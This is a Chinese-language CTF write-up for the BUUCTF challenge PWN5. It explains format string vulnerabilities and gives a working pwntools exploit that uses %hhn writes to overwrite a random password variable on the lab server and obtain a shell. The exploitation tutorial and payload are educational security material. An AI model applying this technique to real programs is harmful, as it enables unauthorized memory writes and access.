BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞
[第五空间2019 决赛]PWN5
预备知识
格式化字符串漏洞指的是printf仅包含格式化字符串,而没有其他参数时,会越界访问到栈中高地址的内容作为参数,可以造成内存数据被泄露或修改。
该漏洞利用主要是靠%n,例如下面这行代码可以将%n前面字符串hello的长度5写入参数,也就是地址&a。我称之为正常printf
printf("hello%n",&a);
而下面的代码缺少参数,则会将5写入栈中"hello%n"上面一格内容x对应的内存M[x]
printf("hello%n");
此外,%hhn表示将前面字符串的长度以1个字节写入该地址
%10$hhn表示将前面字符串的长度以1个字节写入第10个参数
文件分析
首先file,是32位ELF
IDA查看main函数,它的逻辑是:从/dev/urandom文件中读取一个随机数放到0x804c044地址处的变量中,然后用户输入用户名和密码,如果密码和变量相同则能够提权。
发现该程序会使用printf打印出来输入的用户名buf,这就可以利用格式化字符串漏洞,在输入用户名时利用%n覆盖掉0x804c044的变量内容,然后输入与之相同的密码即可。那么如何覆盖呢?
read(fd, &dword_804C044, 4u);
表明这个变量占4个字节,其首地址是0x804c044,所以占的4个字节的地址是0x804c044, 0x804c045, 0x804c046, 0x804c047。
计算偏移
接下来我们要计算偏移,这一步用于确定我们应该把要覆盖的地址放到正常printf的第几个参数。我们知道下面这行代码会将栈上高地址的10个4字节元素以16进制输出
printf("%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x");
我们构造下面的payload并发送
payload = b'AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x'
返回结果显示,AAAA对应的字节41414141出现在第10个%x对应的位置,AAAA就是正常printf函数的第10个参数,由于右侧的参数先压栈,所以AAAA相对当前栈顶的偏移量就是+10(中间隔着9个元素)。
构造payload
所以如果我们想修改0x804c044处的变量,就要让0x804c044作为正常printf的第10个参数,让0x804c045作为第11个参数,以此类推。用一张图来示意栈的结构
据此可以构造一个正常printf语句,...表示省略了中间的9个参数
printf("%10$hhn%11$hhn%12$hhn%13$hhn", ...,0x804c044, 0x804c045, 0x804c046, 0x804c047);
最后将正常的printf语句转为无参数的printf,即将参数放到格式化字符串前面。可以构造payload,注意passwd的每个字节是p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)
的长度,也就是4x4=16,二进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)=269488144
from pwn import *
p = remote("node4.buuoj.cn",25976)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()